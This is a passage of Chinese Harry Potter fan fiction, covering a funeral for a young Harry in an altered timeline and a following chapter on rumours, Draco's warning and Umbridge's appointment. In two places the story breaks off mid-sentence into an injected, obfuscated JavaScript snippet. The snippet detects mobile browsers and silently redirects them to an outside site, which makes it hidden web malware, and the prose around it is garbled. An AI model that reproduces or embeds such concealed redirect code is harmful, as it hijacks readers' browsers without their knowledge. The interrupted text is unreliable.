“这些品质永远不会消失。”邓布利多继续说道,他的语调缓缓上扬了一些,“它们将在我们的记忆中永远鲜活。就像冬天里的一抹阳光,总能在最寒冷的时候带来温暖。” 莉莉轻轻吸了一口气,泪水终于滑落。她一直强忍着情绪,可这句话轻轻戳破了她所有竭力掩藏的悲伤。许多回忆像奔涌的潮水重新涌入脑海——小哈利穿着大几码的斗篷,在花园中驾着第一把飞天扫帚,转头冲她喊着:“妈妈,我飞起来了!”他的笑容与阳光融为一体,映在她的眼前,刺得她几乎无法睁开。一时间,她努力撑起的镇定彻底崩溃了,啜泣声脱口而出。 詹姆斯将她搂得更紧了一些,轻声在她耳边低语。但他的目光却被远处的帷幕吸引住了。他无意间瞥到教师席上的那个身影——静止不动,像雕塑一般立在那里。他的心口抽紧了一下,目光再也挪不开。他太熟悉那张脸了,也太陌生了。一股没来由的疼痛攥住了他的呼吸。 “这个世界上,有太多事情难以解释,也无从回答。”邓布利多的目光扫过全场,与台下的脸庞一一交汇,“可我相信,生命从不会真正消逝。它只是以另一种方式延续着,就像春天的种子,在泥土中静静等待时机。” 这句话像一道微弱却精准的咒语,瞬间击碎了哈利试图维持的平静。他抬眼看向帷幕,那后面的世界,是属于他“另一个自己”的地方。那个十二岁的男孩承载着一个原本可能属于他的未来——如果时间的轨迹没有被他搅乱。那个男孩也许会有更美好的结局,也许会过得比他这一生更幸福。 哈利深深地闭了一下眼,然而那些念头仍在缠绕着他:“如果没有我来到这个时空,他是不是还会活得好好的?” 答案依然没有人能解答,或者说,压根无法解答。这个问题像一道永远不会痊愈的伤口,稍稍触碰便疼得深入骨髓。每个画面仿佛都在展现他欠下的“未来”——那个名为哈利·波特的男孩,也许会长得比他更高,也许会在魁地奇时扔给父亲一个炫耀的眼神,也许会成为可靠的兄长,很疼爱家庭即将迎来的新成员,以及那从未实现的梦想……最终全部定格在十二岁。而他只能站在这片冰雪之中,看着那孩子身后未曾展开的整片天地。 “今天,我们依然要说再见。”邓布利多的声音变得更加柔和,“让我们用最美丽的方式,送这个勇敢的孩子踏上新的旅程。” 邓布利多缓缓转身,示意可以开始献花。 詹姆斯搀扶着莉莉走向台前。莉莉的手指稳稳握着百合,自从知道有了这个孩子,她便开始编织那些未来的梦:梦见哈利会成为一名出色的魁地奇球员,会像詹姆斯一样勇敢正直,当然会保护他的弟弟或妹妹,像骑士守护珍宝。而现在,这些梦化为了雪地上细碎的冰渣。 她将百合放在木棺上,指尖在冰冷的木质表面停留了一瞬。“晚安,我的男孩。”她轻声说。 詹姆斯紧跟其后,将自己的那朵百合挨着妻子的放下。他的手指在花茎上稍稍停留了一瞬,似乎在等着下一刻,那孩子从帷幕后跑出来,再一次跳到他的背上,叽叽喳喳地说着关于霍格沃兹的点滴,好像这一切都没有发生过。 小天狼星和卢平一前一后上前。小天狼星的手指压在花茎上,胸口的起伏似乎已经无法平静。自从那一天开始,过去的记忆和未来的碎片就像潮水般反复冲击着他。现在,他不得不为自己最疼爱的教子送别,又只能眼睁睁看着孤独、痛苦和无法避免的责任像无形的咒语一般,在另一个哈利身上越勒越紧,而他却无能为力。 他的目光不受控制地从人群中扫过,最终落向教师席。他其实知道自己在找谁,却在目光触及那双绿眼睛之前迅速缩回。 魔法部代表随后走上前。福吉面色庄重,将百合举起来停顿短短几秒,随即轻轻放在台座前。然而他掩饰不住眼角的微妙神色,那样的神情似乎比悼念更像是算计。紧随其后的博恩斯女士动作要真诚得多,她低头将百合放下,声音中带着真诚的祝愿,“愿你安息。” 教师们依次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156404|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上前。麦格教授的动作不如她往日般利落,眼中闪动着微光。她只是放下百合,站在那里静静注视了一秒。弗立维教授则踮起脚尖,但他的献花极其庄重。斯内普走得很快,似乎不愿在台前驻足。他将百合放下后便立刻转身,在经过哈利身边时,他的目光不经意看到那双微微颤抖的手。他的脚步顿住了一瞬,黑袍卷起一道细微的风,什么也没说,沉默着回到了自己的位置。 格兰芬多的学生们是第一个站起来的。赫敏和罗恩并排上前,罗恩的手里握着一枚小小的金色飞贼徽章——那是他们在第一次魁地奇比赛前偷偷订做的礼物。他低头看了那红金相间的徽章一眼,把它悄悄塞进衣兜里,和赫敏一同将百合放在木棺旁。 泰迪跟在他们身后,当他弯腰放下百合时,目光不自觉地投向教师席的尽头。他的目光很快停在了那个有着黑发绿眼的身影上。他太想冲过去了,那是一种近乎本能的冲动。 弗雷德与乔治随后肩并肩走上前,动作比往常慢了许多。乔治的手一直插在袍子的口袋里,捏紧了一只小巧的黑发人偶——那原本是为哈利准备的圣诞礼物。“要是他看到这个,会笑得停不下来。”弗雷德小声说道。他们各自放下一朵百合,人偶被悄悄藏在花瓣之下。 随着其他三个学院的学生慢慢列队上前,一支又一支的百合铺满了整个木棺前的台座。从远处看,那单纯的白色结成了一片偌大花海。学生们默默退回自己的位置,细碎的脚步声消散在积雪的静谧中。 当最后一支百合也放在台座前,邓布利多率先举起魔杖。他没有说话,只是挥出一道明亮的银光。片刻后,所有人也纷纷举起魔杖,银色光芒从四面八方涌出,在空中交织成了一张闪耀的网。细碎的雪花穿过光网,触碰到光芒时化作点点银辉,缓缓升向天空。 泪水模糊了莉莉的视线,她的手微微颤抖,詹姆斯适时扶住她的手腕,两人的魔杖一同稳稳指向天空。银光穿透了某个柔软的角落,一些藏在心底的画面不请自来——小哈利悄悄溜进厨房,踮起脚尖趁她转身忙碌时抓下一块滚烫的南瓜馅饼,热气烫得他直跺脚,小脸皱成一团,却还是咧着嘴笑着喊:“妈妈的馅饼最香!”那天晚上,她握着他的小手,朝那红肿的地方轻轻施下一个治愈咒。银光划过,孩子冲她眨着和她一模一样的绿眼睛,笑嘻嘻的说一点都不疼了。光芒晃动间,一个稚嫩的身影静静站在尽头,笑着挥了挥手。与此同时,她腹中的新生命轻轻动了一下,仿佛在回应她无声的道别。 詹姆斯同样看着杖尖溢出的银光,忽然想起了很久以前,小哈利偷偷攥着他的魔杖,对着落叶大喊一声“飞起来!”魔杖“砰”地炸响,把莉莉的园艺铲甩到了树梢上。孩子吓得瞪大了眼,却很快叉着腰对他露出得意的笑容:“爸爸,我厉害吧?”詹姆斯只是摇头一笑,扬起魔杖施下“清理一新”,银光轻柔地拂过草地,世界干净得一如既往。可这一次,银光再也不能复原一切了,这是他最后一次为自己的儿子施展魔法——只是为了和他说再见。 就在此时,一只金色飞贼无声无息地飞入银光网络,在光海中轻盈地穿梭,紧接着是第二只、第三只……越来越多的金色飞贼漫天飞舞,像是要带着这个年轻的生命飞向更宽广的天空。 哈利站在人群中,眼眶逐渐湿润。他什么也做不了,可这是他唯一能做到的。他的手紧紧握住魔杖,任银光泄出,化作所有人最后献上的祝福。 邓布利多最后一次挥动魔杖,一道纯净的白光笼罩在花海上方。光芒最终如雨般洒向花海,随后渐渐消散,只剩下细碎的雪花依然在纷纷扬扬地落着。 星光散尽,四周重新归于寂静。微风从湖面吹过,拂动悬垂的白色帷幕,带来冬日的凉意。人群渐渐散去,却无人匆忙离开。麦格教授站在队伍前方,指引学生们列队返回城堡。 詹姆斯搀扶着莉莉没有动,静静站在原地,目送学生们慢慢隐没于暮色。他低头听莉莉轻声说了句什么,点头回应。他们一同走回帷幕旁,坐下,目光落在前方铺展的那片花海。莉莉放在膝头的手轻轻抚过腹部,那里的一道微弱触感让她一时间失去了所有语言。将来,她会告诉即将诞生的孩子,他的哥哥是一个怎样的男孩。但现在,这个念头像未完成的画像,模糊而虚无。 几步之外,小天狼星和卢平仍站在那里,各怀心事。他们的视线停在同一个方向,又似乎离得很远。 “阿不思,”等了片刻,詹姆斯站了起来,走向邓布利多,低沉的嗓音带着疲惫,“谢谢你为哈利做的一切。” 邓布利多没有回答,只是轻轻合上双手,向年轻的父亲点了点头。他的眼睛半垂下去,镜片下的目光透出一阵难以言喻的悲悯。詹姆斯转身回到莉莉身边。她靠在他肩上,握住了他的手。他们慢慢起身,白雪滑过脚边时,两人都没有再看那帷幕一眼。 就在起身的瞬间,莉莉的目光在教师队伍上停住了一拍。一抹黑色的影子并不显眼,藏在阴影中,仿佛刻意与周围的一切隔绝。但那只是转瞬即逝的一瞥,她很快收回目光。 小天狼星犹豫着走向莉莉。他想找寻恰当的话来安慰,最后还是伸手轻握住她的手腕。“照顾好自己,莉莉。”詹姆斯回过身,轻轻拍了一下小天狼星的肩膀,然后拥抱了他。他转身牵着莉莉离开,直到两人的身影消失在远方,小天狼星下意识屏住的呼吸还没有恢复。 身旁,卢平动了一下,拍了拍小天狼星的肩,轻声道:“走吧。”小天狼星没有立刻动。他转头看向远处的邓布利多,那些奇异的梦,那些未来的碎片,他想要问清楚,想要把那些有关命运错位的事情问个明白,但他很清楚,不是现在,不是在这里。他低头看了一眼自己的手,缓慢地跟上卢平一同走远。 斯内普最后看了一眼那个伫立在花海前的身影,发现此刻任何言语都显得多余。于是,他只是无声地转身离去。 最后只剩下哈利和泰迪还站在原地。 西比从泰迪的肩膀上探出头,用木质的手指捅了捅他的耳朵,“别以为我忘了——今天晚上的魔药练习依然要完成。”它停顿了一下,语调故作严厉,“别找借口,小鬼头。” 泰迪伸手把它从肩膀上拎下来,放到另一边,苦笑着小声回道:“西比——今晚就算了吧。” “今晚我能去你那里睡吗?”他抬头望着哈利,脸被冷风吹得有些发红,神情中带着一种少年特有的认真。 哈利依然站在原地,目光没有移开静谧的花海。“麦格教授同意了?”他轻声问道。 “嗯。”泰迪点了点头,肩膀被冷风裹得缩了一些,“我想……陪陪你。”他说到最后几个字时,声音越来越低。 哈利终于转过身,盯着这个称得上瘦小的身影。男孩的一侧脸颊被雪花沾湿,但他目光中的坚韧让人联想起某种熟悉的影子——同样渴望亲情,同样承受着命运的重量。他看了他很久,心中泛起一阵酸楚,久久地才嗯了一声。 泰迪似乎有些不确定,低下头盯着自己的鞋子,过了一会儿才问:“他们会没事……对吗?” 哈利垂下目光,把视线再次投向面前的花海。“会的。”他说,“因为他们有彼此。就像我们一样。” 泰迪露出一抹细微的神色变化,仿佛松了口气。他抿了抿嘴,轻声说,“哈利,我们回去吧。” 哈利轻轻点头,伸手揉了揉教子的头发。 他们转身离去,湖畔吹起一阵微风,裹挟着飘落的雪花融入白色花海。暮色已经褪尽,而远处的霍格沃兹城堡依旧静静矗立,默默守护着每一个逝去和新生的灵魂。 67. 暗流涌动 “今天我们要学习一个新的变形咒语。”麦格教授站在讲台前,魔杖轻点黑板。粉笔立刻跃动起来,写下一行清晰的大字:“把茶壶变成乌龟——低级变形术实践”。 教室里比往常安静得多。第三排靠窗的座位空着,周围的桌子都微妙地挪开了一点距离,好像那块地方成了一块无形的禁地。泰迪坐在旁边,羽毛笔在羊皮纸上写写画画,眼角的余光能看到前排同学不时回头张望的动作。 “记住,这个咒语的关键在于手腕的转动幅度。”麦格教授的声音从讲台上传来,她用魔杖指向那只闪着微光的银色茶壶。“像这样——”她手腕轻轻一抖,动作行云流水。茶壶的壶嘴缓缓伸长,变成一只乌龟的脖子,四只爪子从底部挣脱出来,而壶身则镌刻出一圈圈精致的龟甲纹路。这一切完成得几乎不带一丝停顿。 学生们发出一阵惊叹。 “现在,两人一组开始练习。”麦格教授挥动魔杖,茶壶瞬间出现在每张桌子上。“一定要控制好力度。我可不希望看到满教室乱爬那些半壶半龟的怪物。” 赫敏毫不犹豫地拖过椅子,坐到泰迪身旁。罗恩迟疑了一下,挪动椅子在他们旁边落座。“我们轮流试试,怎么样?”赫敏说,语气有些过分轻快,“我先试试看。” 泰迪点点头,向旁边挪了挪,给她让出些空间。他看着赫敏熟练地挥动魔杖,茶壶在原地震动了片刻,很快变成一只完美的乌龟,龟甲上的纹路丝毫不差,甚至反射着光亮。 “干得漂亮,格兰杰小姐,二十分给格兰芬多。”麦格教授路过他们的桌子,停下脚步,目光在泰迪身上逗留片刻,“卢平先生,该你了。” 泰迪缓缓拿起魔杖,目光落在面前的茶壶上。他能感觉到周围有目光在打量他,像小钩子一样钉在他的后脑勺上。自葬礼以来,这种若有若无的注视从未停止过。 “别管他们。”罗恩压低声音说,“来,放轻松,你的变形课成绩一直是最好的……” 一阵低语声从后排传来。“每次蛇怪出现的地方……”有人小声说,声音很快消失在翻动课本的沙沙声中。 泰迪的手腕微不可察地顿了一下。茶壶动了起来,两只爪子迅速挣脱出来,却始终保留着壶身原来的形状,看上去怪异得像个拼接错误的魔法产物。 “再试一次。”赫敏的声音变得温和,她耐心地做了个示范的动作,“你只需要调整手腕……” 下课铃响了。麦格教授宣布下课后,学生们开始收拾书包,有意无意绕开泰迪这片区域。 “走吧。”罗恩拍拍泰迪的肩膀,“接下来是魔药课,斯内普可不等人。” 楼道里堆满了人潮,所有学生都在挤着向下一个教室走。泰迪、赫敏和罗恩刚踏出门槛,就听见不远处传来的窃窃私语。 “你说得对,我也发现了。”一个拉文克劳的女生低声议论,“都和他有关……波特、那个人偶,还有……” “还有舞台剧那次。”她的同伴接上话,“他就站在台上。” 罗恩猛地停下脚步,脸涨得通红,一副就要冲过去理论的样子。 “嗨!你们——”他大声喊了一句。 赫敏立刻伸手拉住他,用力拽向一旁,“别搭理他们。”她咬着牙压低声音,“斯内普教授的课不能迟到,快走。” 罗恩不甘心地回头瞪了那几个人一眼,还是跟着赫敏往前走。泰迪始终沉默,只是低头看着地面。 地窖的空气比往常更加阴冷。魔药教室里弥漫着刺鼻的草药气味,潮湿的石墙在坩埚下的蓝色火焰映照下,投下几缕不足以驱散寒意的暗影。斯莱特林的学生已经占据了教室右半边,三三两两聚在一起低声说笑。 泰迪和赫敏、罗恩并肩走进教室,脚步刚踏进门槛,耳边就响起布雷司·扎比尼故意拔高的声音。 “你们有没有注意到一个奇怪的现象?”他懒洋洋地靠在桌沿,手里漫不经心地把玩着一只银质天平,“每次出事,总有某些人比教授还快赶到现场。”他的目光一转,从泰迪身上扫过,挑起一抹毫不掩饰的恶意笑容,“难道这是一种……不可思议的‘天赋’?” “闭嘴。”罗恩低声嘟囔。他还没腾出双手把书包扔在桌上,攥紧着魔杖的手已经蠢蠢欲动。 “别闹。你不会想给麦格教授增加麻烦,对吗?”赫敏轻声警告他,目光却冷冰冰地盯着扎比尼。 扎比尼嘴角的笑容变大了,但他还没开口,潘西·帕金森已经轻快地接上了话头,她的声音响亮而尖锐,几乎整个教室都听得一清二楚,“哦!我还听说,波特死的那天,他也‘碰巧’在场——真是离奇得让人后背发凉。”她拖长了尾音,轻松的语调却尖锐得像针一样扎进空气。 话音刚落,罗恩已经握紧了魔杖,脸涨得通红,作势要起身。“把你的嘴闭——” 赫敏眼疾手快,一把按住他的胳膊,“别,罗恩。别搭理他们。” “可是他们——”罗恩涨红的脸扭向赫敏,语气里带着压抑到极点的忍耐。 “他们故意的。我不会让你给他们提供乐子。”赫敏将声音压得极低,目光穿过拥挤的人群与潘西短暂地对上。 “呵,格兰杰,又多管闲事。”潘西朝她做了个鬼脸,挑衅意味十足。 泰迪坐在离斯莱特林略远的位置,默不作声,只是低垂着眼睛专注地摆放桌上的魔药材料。但他的手指微微绷紧,搁在坩埚边缘的时候,甚至让金属发出了一声轻响。罗恩注意到了他的异样,小声问道:“伙计,你没事吧?” 泰迪没有抬头,只是摇了摇头。可他的紧绷仍旧在他沉默的动作里显而易见。 赫敏瞄了一眼右边:“要不我们坐到那边去——” “所以,”扎比尼微微扬起眉,显然不准备就此打住,“是太懒得辩解,还是……默认了呢?可别让我们误会是心虚啊。” 赫敏的忍耐也到了边缘,她干脆回过头,毫不客气地说,“我看你很擅长误会别人的动机,扎比尼——这也算是某种天赋吧?” 扎比尼唇角轻轻一扬,似乎正要继续掰扯,站在稍远地方的德拉科·马尔福总算抬起了眼皮。他的声音不高,却清晰得足够打断任何一场对峙。 “哦,闭嘴吧,布雷司。”德拉科散漫地倚着石桌,语调里夹杂着惯常的讥诮,语速不紧不慢,“看来,你为大家揭开了什么惊天大秘密。费了多少时间才想出来的?” 潘西和扎比尼几乎同时转向他,似乎对他加入这场舌战感到意外。 扎比尼挑了挑眉,脸沉了下来,“怎么?你替格兰芬多说话了?” “不要误会。”德拉科不疾不徐地开口,“我只是对你的思考能力感到遗憾。换成是我——如果真的打算搞鬼,我绝不会蠢到每次都‘主动’现身,还等着被人乱嚼舌头。”说完,他慢条斯理地整理坩埚下火焰的强度。“可惜,我一直以为你的脑子至少比克拉布和高尔精明一点,看样子,”他冷笑,“是我高估了太多。” 教室里一片寂静。潘西张着嘴,像是无法理解他为何说出这些话。不仅是斯莱特林的学生,连格兰芬多的学生也都露出错愕的神色。 “行啊,既然你这么觉得……”布雷司冷冷笑了笑,正要反驳,地窖的厚木门忽然发出一声沉闷的响动,打断了所有人的注意力。 斯内普走了进来。他的黑袍在身后翻卷,步伐干脆有力,瞬间令教室安静下来,只剩下坩埚底下火焰的噼啪声。 “今天的课程,”斯内普冷冷地开口,挥动魔杖,黑板上一行花体的字母成形,“制作清醒剂。配方和步骤都在这里。” 他的目光锐利地扫过学生,嗓音低沉又拖得极慢,“我要提醒某些人,胡乱的猜测和低劣的流言不会让你的魔药效果更精准。相反,只会让你的大脑变得比巨怪还迟钝。” 他最后看了扎比尼一眼。后者缩了缩脖子,低头假装摆弄起了天平。 学生们立刻忙碌起来,教室里很快响起切割药材和搅拌坩埚的声音。赫敏小心翼翼地数着手里的月长石粉末,罗恩咬着牙,努力把曼德拉草的根须切成大小相近的碎片。 泰迪埋头处理独角兽的鬃毛,余光却瞥见有人靠近。是德拉科,他若无其事地走到材料柜前,挑选着药材。 “小心点。”德拉科没有回头,语气低得像是耳边的风声,“我听说有人在收集‘证据’……而且不止一个人。”他的手指从一排瓶瓶罐罐上滑过去,似乎在思考要拿什么。顿了一瞬,他补了一句,“我父亲可能也在其中。” 泰迪的手顿了一下。德拉科捏着手里的材料退回去,语气一如既往的冷淡,“不过,我猜佩弗利尔教授大概早就知道了。” 他回到座位后不久,一只银色的凤凰出现在教室里。它轻盈地飞向斯内普,一瞬间变成一张纸条落在对方手中。斯内普皱着眉展开,扫了一眼,表情瞬间变得严峻。 “继续完成你们的魔药。”他大步走向门口,黑袍翻滚,“如果我回来,发现任何坩埚爆炸或‘意外’发生……”斯内普的目光先在纳威紧张的脸上停留片刻,又扫过扎比尼和潘西,声音带着一丝寒意,“相信我,你们会有足够的时间细细品味。” 斯内普收拢笔记本,黑袍在身后翻飞,毫不留情地甩上地窖门。 被独自留在地窖的学生们面面相觑,低低的议论声逐渐在教室里蔓延开来。泰迪咬紧牙关,目光落在坩埚里逐渐变成珍珠色的液体上。他对周围的窃窃私语充耳不闻,只努力控制手中切着的月长石粉末不要撒太多。 直到下课铃响起,斯内普依然没有回来。 “肯定出事了。”罗恩一边收拾书包一边嘟囔,“你们看斯内普的表情,就差写个‘麻烦’挂脸上了。” “别在这里讨论。”赫敏小声说了一句,还回头警惕地扫了一眼教室。 午餐时分,大礼堂里的气氛明显不对劲。泰迪走进礼堂,发现教师席上空了几张椅子——哈利的座位空着,斯内普和邓布利多也不见踪影。麦格教授坐在自己的位置上,正和弗立维低声交谈,神色都不太好看。 “你发现了吗?”一个高年级学生在一旁悄声说,“从早上开始,那些教授就一直在开会。” “听说是魔法部的事。”他的同伴补充道,声音同样低不可闻。 泰迪刚在格兰芬多长桌边坐下,就发现周围的座位迅速空了出来。只有罗恩和赫敏坚定地坐在他两侧。 “他们以为自己发现了什么了不起的线索。”罗恩愤愤地说,手里的勺子在食物上戳来戳去,“真该让他们全吞鼻涕虫去——” “别搭理他们。”泰迪平静地往盘子里舀土豆泥,“反正也不是真的。” 礼堂里突然响起一阵翅膀扑动声。成群的猫头鹰从礼堂天花板上飞入,在学生头顶盘旋。几乎每只猫头鹰爪中都抓着一份《预言家日报》,低头吃饭的学生纷纷伸手去接。 一份报纸落在赫敏面前。她展开一看,立刻皱起了眉头:“《蛇怪再袭校园:霍格沃兹安全警报》。”她念了出来,语调发紧,“‘继一名学生在悲剧□□故中丧生后,有关霍格沃兹安全状况的质疑声再度浮现。据知情人士透露,魔法部正在密切监视此事。’” “魔法部,”罗恩冷笑一声,语气充满不屑,“难怪我爸总说福吉没别的事好做,就会揪着霍格沃兹的事找茬——” “等等,看这里。”赫敏打断了他,继续往下读,“‘校董会成员卢修斯·马尔福表示,任何威胁到学生安全的隐患都应该得到彻查……’” 罗恩张了张嘴,似乎想说什么,但没来得及开口,拉文德·布朗和帕瓦蒂·佩蒂尔顺着长桌走过。 “我妈妈说,自从波特出事后,好多家长都在考虑让孩子转学。”拉文德的声音不高,却被泰迪听得一清二楚。 “她还说布斯巴顿或者德姆斯特朗至少没有蛇怪……”帕瓦蒂瞥到旁边坐着的泰迪,急急忙忙拉了拉拉文德的袖子,“嘘,别说了。” 泰迪放下叉子。他的胃像是忽然被什么揍了一下,所有食物都失去了味道。他站起身。 “你去哪儿?”赫敏关切地问。 “图书馆,我先准备下一节课用的书。”泰迪的声音尽量保持镇定,冲罗恩和赫敏点点头。 赫敏立刻说:“那我们和你一起去——” “不用,你们慢慢吃。”他转身离开,没有再等他们反应。走出大礼堂时,他隐约听到罗恩在身后怒气冲冲地说:“谁再敢乱嚼舌头,我就——”随即被淹没在其他压低的私语声中。 离开礼堂的瞬间,凉爽的空气扑面而来,总算冲淡了那些目光带来的窒息感。走廊里空荡荡的,只有远处传来的说话声和脚步声,可那些目光仿佛还粘在他的后背上,刺痛着他的皮肤。他加快脚步,却怎么也甩不掉那种被无形的手指指点点的感觉。 泰迪没有直接去图书馆,而是沿着走廊漫无目的地走着,脑子里挥之不去地回想着早上德拉科说的话、报纸上刺眼的标题,以及礼堂里同学们刻意的回避——那些被压抑的委屈和愤怒在胸口越积越多,快要喘不过气来。 他不知不觉已经来到了黑魔法防御术教室附近,正当犹豫要不要去找哈利时,一个熟悉的声音从身后传来。“泰迪。”他转过身,看见哈利站在那里,长袍上还沾着飞路粉的痕迹,显然刚从某个地方匆匆赶回。 “我正要去找你。”哈利走近,拍了拍他的肩膀,目光在走廊里扫了一眼。两个低年级学生正好经过,立刻低下头快步走开了。 “去我办公室谈。”哈利转身,语气平和。 黑魔法防御术办公室里,哈利挥动魔杖,门在身后轻轻闭上,随后他又施了一个静音咒。办公室里采光良好,阳光从高窗斜射下来,透过陈旧的玻璃窗格洒在镶木地板上,带着中午时分的暖意。但哈利那张大而杂乱的木书桌将光线隔断了大半,壁炉旁一个皮箱半开着,里面露出几卷羊皮纸。 哈利转头看向跟在他身后的泰迪,目光落在那瘦小的身影上。 “进来吧,坐下。”哈利伸手轻轻一挥,一张扶手椅滑到泰迪跟前。 泰迪动了动脚,却没有直接坐下。他低头看了看椅子,又瞥了一眼哈利略显疲惫的脸,最终不情愿地挪步过去,动作机械地矮下身子,坐到了椅子上。他微微低着头,指尖抠着袍子的边缘,所有动作都收敛得近乎僵硬。 “西比今天没跟着你?”哈利却问了个出乎意料的问题。 泰迪保持着低头的动作,“他也不是天天跟着我,他觉得上课太没意思了。” 室内安静了片刻。 “最近的那些流言,”哈利又开口,目光始终落在泰迪身上,“我都听说了。” 短短一句话,泰迪的肩膀猛然一颤。他没抬起头,嘴唇动了动,最终却没有挤出任何声音,原本棕色的头发开始悄然褪色,变得愈发深暗。 “有人……有人说那是我做的。”几秒后,泰迪压低嗓子开口。 哈利没有急着回应。他略微弯下腰,双手轻轻撑着膝盖,耐心地看着泰迪的脸。光线洒过他额前的乱发,那双绿眼睛里是遮不住的柔和与关切。 “但我什么也没做。”泰迪突然抬起头,声音带着一抹急促,压抑已久的情绪开始崩溃,“哈利,我根本就没有——那些人,为什么能说得这么肯定?” 他吸了一口气,眼圈忽然泛红了,鼻子也有些发酸。“可他们全都像是认定了一样……连拉文德她们,也、也不相信……” 说到最后一句话时,他咬住嘴唇,眼泪已经在眼眶里打转。 “泰迪。”哈利用一种更低、更坚定的声音叫了他一声。他稍微靠近了些,将身体略微前倾,拍了拍膝盖,随后向前摊开双手,手掌朝上,表情柔和下来。 泰迪低头盯着自己的鞋尖,手指用力揪紧袍子的布料。他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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泰迪抬起头,嘴唇紧紧抿着。他眼圈红红的,但眼神渐渐平静下来。 “真的?”他的声音里还是带着点迟疑。 “当然是真的。”哈利说。他靠回椅子上,语气带上了一丝不经意的笑意:“要知道,我二年级的时候也和你一样,到处都是关于我的谣言——我会说蛇佬腔,所以大家觉得我可能是继承人。还有人觉得,密室开启全都是我搞出来的呢。那时候甚至连赫敏也被石化了。” 泰迪惊讶地眨了眨眼,“那你是怎么熬过来的?” “靠朋友和老师的信任走过来的。”哈利一脸平静地回答,“就像你的父亲,也有着很好的朋友站在他的身边。现在罗恩和赫敏不也一直陪着你吗?别让这些流言蜚语影响了你和他们的关系,明白吗?” 哈利又说,“总之魔法部可能会派人来学校调查,但那是冲着邓布利多来的,与你无关。你只要好好上课就行了,这些事有我们大人来处理。”他顿了顿,目光却显得深沉了一分,“不过,无论到时候发生什么,记住——并不是每一位官员都值得信任。” 泰迪用力点点头,肩膀似乎放松了一些。 “很好。”哈利伸手揉了一把他的头发,语气轻松了几分:“你知道的,我一直都在,碰到什么事记得来找我。”他顿了顿,“好吧,找斯内普也行……” 泰迪站直身体,擦了擦脸上的泪痕,今天第一次朝自己的教父露出个淡淡的笑容。 ====== 离开哈利的办公室,泰迪感觉心里轻松了一些,但那种被注视的压迫感依然挥之不去。他需要找个安静的地方,让自己平静下来。他思索片刻,决定按照原定计划去图书馆——图书馆就像个避风港,厚重的书架像城墙一样,将外界的纷扰阻隔在外。 他推开厚重的橡木门,一股熟悉的羊皮纸和墨水的气味扑面而来。泰迪随意挑了个僻静的角落,在堆着几摞《咒语战术与魔法对抗》的桌子旁坐下,伸手从书包里掏出课本,却迟迟翻不过那书页。 就在他的手指沿着书脊发呆的时候,急促的脚步声从身后传来。 泰迪抬起头,看见赫敏和罗恩气喘吁吁地快步穿过图书馆,好几个低年级学生抬头看向他们,但赫敏一点也没在意。 “总算找到你了,泰迪!”赫敏一边快速走近桌子,忽然像是注意到什么,侧身凑近看他,“你眼睛……怎么红了?” 这个问题似乎让泰迪一下子绷紧了。他用最快的速度低下头,胡乱抓起书上的羊皮纸遮住脸,含糊忙乱地说:“你看错了,我没事——没事。” 赫敏微微皱眉,还想再追问什么。可罗恩已经从书包里翻出一份卷边的报纸——它显然被捏了好几次,甚至还有一小片被撕开的印痕。 “怎么了?”泰迪本能地接过报纸,眉头微微蹙起。 赫敏用手指点着那张报纸最显眼的位置:“这是下午的特刊,快看。” 泰迪低下头,视线扫过特刊的醒目标题:《魔法部关注霍格沃兹安全问题,将派遣调查组》。他盯着标题看了一会儿,感到一阵莫名的不安。 “他们派谁来?”他低声问。 赫敏伸手点向标题下方的副标题:“——魔法部高级调查官乌姆里奇女士将赴任,全面评估校园安全。”泰迪的目光顺着她的指尖移动,看向标题下附着的照片——一个矮胖的女巫穿着粉红色的套装,胸前别着一个硕大的黑丝绒蝴蝶结,正冲着镜头挤出一个甜腻的笑容。 ====== “多洛雷斯·乌姆里奇。”麦格教授在校长室里来回踱步,高跟鞋撞击地板,发出急促的“嗒嗒”声,“福吉的心腹。你们还记得她是怎么对付魔法生物司那些提案的吗?” “一个热衷于管制和限制的人。”邓布利多坐在靠近窗户的书桌后,同样的一份报纸正摆在桌上。他双手交叉放在桌面,神色镇定如常,“而现在,福吉认为霍格沃兹需要一些……管制。” “她会以评估校园安全为名,”麦格教授停下脚步,转头看向邓布利多,“干涉所有事情,包括教学内容和人事安排。甚至可能借此对校董会施压,要求他们进一步限制学校的自主权!” “而这正是福吉想要的。”站在阴影中的斯内普冷冷开口。他双手交叉,神色冷漠,声音却带着一如既往的讽刺与不屑,“他会趁这个机会削弱您的影响力,让霍格沃兹服从他的操控。” 哈利站在办公室另一边,开口提问:“问题是,她的权限有多大?” “足够大。”邓布利多拿起桌上一卷羊皮纸,目光掠过文件上的字句,“来自校董会的提案,卢修斯·马尔福提出授予高级调查官全面监督权——包括课程评估、教师资历审核,甚至……人事任免建议权。” “荒谬!”麦格教授厉声说,“霍格沃兹的事务什么时候轮到魔法部来指手画脚了?” 但邓布利多只是轻轻摇了摇头:“恐怕现在不是争论这个的时候。我们要避免让这一切卷入更多的权力游戏。” “可学生们已经开始议论了。”哈利说,“特别是关于蛇怪的事。” “这正是福吉想要的。”斯内普冷笑一声,“制造恐慌,然后趁机插手。” “所以我们要让每个人都明白,”邓布利多的声音变得坚定,“霍格沃兹依然是最安全的地方。乌姆里奇想要什么,就让她检查好了。但记住——”他环视众人,“我们的首要任务是保护学生。” 正当他话音落下时,校长室的门突然被轻轻敲响。 “请进。” 费尔奇那张皱巴巴的脸出现在门缝后,他怀里笨拙地捧着一份卷轴,“呃,抱歉打扰了——这是刚送来的……来自魔法部……卷轴上还盖了部长的……呃——特别印章。”他站在门口,局促不安地等待着。 “谢谢,阿格斯。”邓布利多接过卷轴。 火漆封印破开的瞬间,似乎有一股寒意从羊皮纸上蔓延开。羊皮纸上笔迹优美而冷漠,标题用特大的字写着:“关于霍格沃兹校园安全的全面评估授权。” 